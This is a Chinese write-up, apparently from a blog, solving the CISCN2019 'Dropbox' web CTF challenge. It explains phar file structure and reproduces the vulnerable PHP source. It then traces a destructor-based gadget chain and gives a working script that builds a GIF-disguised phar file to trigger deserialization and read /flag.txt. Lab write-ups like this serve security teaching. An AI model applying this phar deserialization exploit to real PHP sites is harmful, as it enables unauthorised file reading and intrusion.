[CISCN2019 华北赛区 Day1 Web1]Dropbox

知识点:信息搜集,Phar反序列化 phar知识点分析 phar文件的结构主要分为四个部分:

1.stub phar文件的表示,类似于gif文件的GIF89a,以 xxx<?php xxx;__HALT__COMPILER();?>为固定形式,前面内容可以变,点必须以HALTCOMPILER();?>结尾。

2.a mainfest describing the contents

该部分是phar文件中被压缩的文件的一些信息,其中meta-data部分的信息会被序列化,即执行serialize()函数,而phar://就相当于对这部分的内容进行反序列化,此处也正是漏洞点所在。

3.the file contents 这部分存储的是文件的内容,在没有其它特殊要求的情况下,这里面的内容不做约束。

4.a signature for verifying Phar integrity 数字签名。放在最末。

phar反序列化使用前提条件 phar反序列化使用条件 phar文件可上传

文件流操作函数如file_exists(),file_get_content(),fopne()要有可利用的魔法方法作为“跳板”。

文件流参数可控,且phar://协议可用。

注意:想要生成phar文件记得把php.ini中的phar.readonly选项设置为Off,否则将无法生成phar文件

要找到php.ini的话,linux下,若已经配置了php环境的话,可以用find命令寻找绝对路径;windows下可以直接在phpmystudy或xmapp中找到打开。

phar文件生成基本架构:

弄到download.php代码如下:

 <?php
 session_start();
 if (!isset($_SESSION['login'])) {
     header("Location: login.php");
     die();
 }
 ​
 if (!isset($_POST['filename'])) {
     die();
 }
 ​
 include "class.php";
 ini_set("open_basedir", getcwd() . ":/etc:/tmp");
 ​
 chdir($_SESSION['sandbox']);
 $file = new File();
 $filename = (string) $_POST['filename'];
 if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
     Header("Content-type: application/octet-stream");
     Header("Content-Disposition: attachment; filename=" . basename($filename));
     echo $file->close();
 } else {
     echo "File not exist";
 }
 ?>

弄到class.php的源码如下:

 <?php
 error_reporting(0);
 $dbaddr = "127.0.0.1";
 $dbuser = "root";
 $dbpass = "root";
 $dbname = "dropbox";
 $db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);
 ​
 class User {
     public $db;
 ​
     public function __construct() {
         global $db;
         $this->db = $db;
     }
 ​
     public function user_exist($username) {
         $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
         $stmt->bind_param("s", $username);
         $stmt->execute();
         $stmt->store_result();
         $count = $stmt->num_rows;
         if ($count === 0) {
             return false;
         }
         return true;
     }
 ​
     public function add_user($username, $password) {
         if ($this->user_exist($username)) {
             return false;
         }
         $password = sha1($password . "SiAchGHmFx");
         $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
         $stmt->bind_param("ss", $username, $password);
         $stmt->execute();
         return true;
     }
 ​
     public function verify_user($username, $password) {
         if (!$this->user_exist($username)) {
             return false;
         }
         $password = sha1($password . "SiAchGHmFx");
         $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
         $stmt->bind_param("s", $username);
         $stmt->execute();
         $stmt->bind_result($expect);
         $stmt->fetch();
         if (isset($expect) && $expect === $password) {
             return true;
         }
         return false;
     }
 ​
     public function __destruct() {
         $this->db->close();
     }
 }
 ​
 class FileList {
     private $files;
     private $results;
     private $funcs;
 ​
     public function __construct($path) {
         $this->files = array();
         $this->results = array();
         $this->funcs = array();
         $filenames = scandir($path);
 ​
         $key = array_search(".", $filenames);
         unset($filenames[$key]);
         $key = array_search("..", $filenames);
         unset($filenames[$key]);
 ​
         foreach ($filenames as $filename) {
             $file = new File();
             $file->open($path . $filename);
             array_push($this->files, $file);
             $this->results[$file->name()] = array();
         }
     }
 ​
     public function __call($func, $args) {
         array_push($this->funcs, $func);
         foreach ($this->files as $file) {
             $this->results[$file->name()][$func] = $file->$func();
         }
     }
 ​
     public function __destruct() {
         $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
         $table .= '<thead><tr>';
         foreach ($this->funcs as $func) {
             $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
         }
         $table .= '<th scope="col" class="text-center">Opt</th>';
         $table .= '</thead><tbody>';
         foreach ($this->results as $filename => $result) {
             $table .= '<tr>';
             foreach ($result as $func => $value) {
                 $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
             }
             $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
             $table .= '</tr>';
         }
         echo $table;
     }
 }
 ​
 class File {
     public $filename;
 ​
     public function open($filename) {
         $this->filename = $filename;
         if (file_exists($filename) && !is_dir($filename)) {
             return true;
         } else {
             return false;
         }
     }
 ​
     public function name() {
         return basename($this->filename);
     }
 ​
     public function size() {
         $size = filesize($this->filename);
         $units = array(' B', ' KB', ' MB', ' GB', ' TB');
         for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
         return round($size, 2).$units[$i];
     }
 ​
     public function detele() {
         unlink($this->filename);
     }
 ​
     public function close() {
         return file_get_contents($this->filename);
     }
 }
 ?>
 ​

Delete.PHP如下:

 <?php
 session_start();
 if (!isset($_SESSION['login'])) {
     header("Location: login.php");
     die();
 }
 ​
 if (!isset($_POST['filename'])) {
     die();
 }
 ​
 include "class.php";
 ​
 chdir($_SESSION['sandbox']);
 $file = new File();
 $filename = (string) $_POST['filename'];
 if (strlen($filename) < 40 && $file->open($filename)) {
     $file->detele();
     Header("Content-type: application/json");
     $response = array("success" => true, "error" => "");
     echo json_encode($response);
 } else {
     Header("Content-type: application/json");
     $response = array("success" => false, "error" => "File not exist");
     echo json_encode($response);
 }
 ?>
 ​
 ​

这里面我们发现了一堆类的定义和一个重要的漏洞点file_get_contents(),并且它并没有对这里的文件流进行相关的过滤和限制,所以我们的核心点是通过这个函数来达成文件内容获取的作用。那么我们需要怎么实现这个效果呢。我们在上去看类中的相关代码。

我们可以看到有序列化的相关特征魔术方法,如call(),这个方法是在对象上下文中调用不可访问的方法触发。我们在关注到User类中的desturcut(),发现这里调用了close()方法,而这个方法正是指向了我们所说的file_get_content(),此时我们就有了简单而基础的逻辑,就是从User->destruct()=>File->close()

但是这时候我们又会发现,没有回现啊。那怎么办呢。此时我们回过头来看之前class()方法中的内容,发现它就是遍历files数组,并且对每一个变量执行一次$func函数,然后将结果存进$result中,然后代码执行结束时,FileList中的destruct()会执行其内部的代码,将result的结果进行回显。欸,此时我们的思路又更加清晰了一些,变为了User->destruct()=>FileList->call()=>File->close()=>FileList->__destruct()

但是此时我们又会发现,欸,那要怎么出发这个User的destrcut呢,那这里我们就要联想到delete.php这个所实现的功能了。可以通过unlink来实现。

最后具体实现代码如下:

 <?php
 //User->destruct()=>FileList->call()=>File->close()=>FileList->__destruct()
 class User {
     public $db;
     public function __construct() {
         $this->db = new FileList();
 ​
     }
 }
 class FileList {
     private $files;
     private $results;
     private $funcs;
     public function __construct() {
         $this->files = array(new File());
     }
 }
 class File {
     public $filename;
     public function __construct() {
         $this->filename = "/flag.txt";
     }
 }
 ​
 ​
 $user = new User();
 $phar = new Phar("shell.phar"); //生成一个phar文件,文件名为shell.phar
 $phar-> startBuffering();
 $phar->setStub("GIF89a<?php __HALT_COMPILER();?>"); //设置stub
 $phar->setMetadata($user); //将对象user写入到metadata中
 $phar->addFromString("shell.txt","haha"); //添加压缩文件,文件名字为shell.txt,内容为haha
 $phar->stopBuffering();
 ​
 ?>
 ​

ps:请注意,$this->db 这个db不需要加$了!!!!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值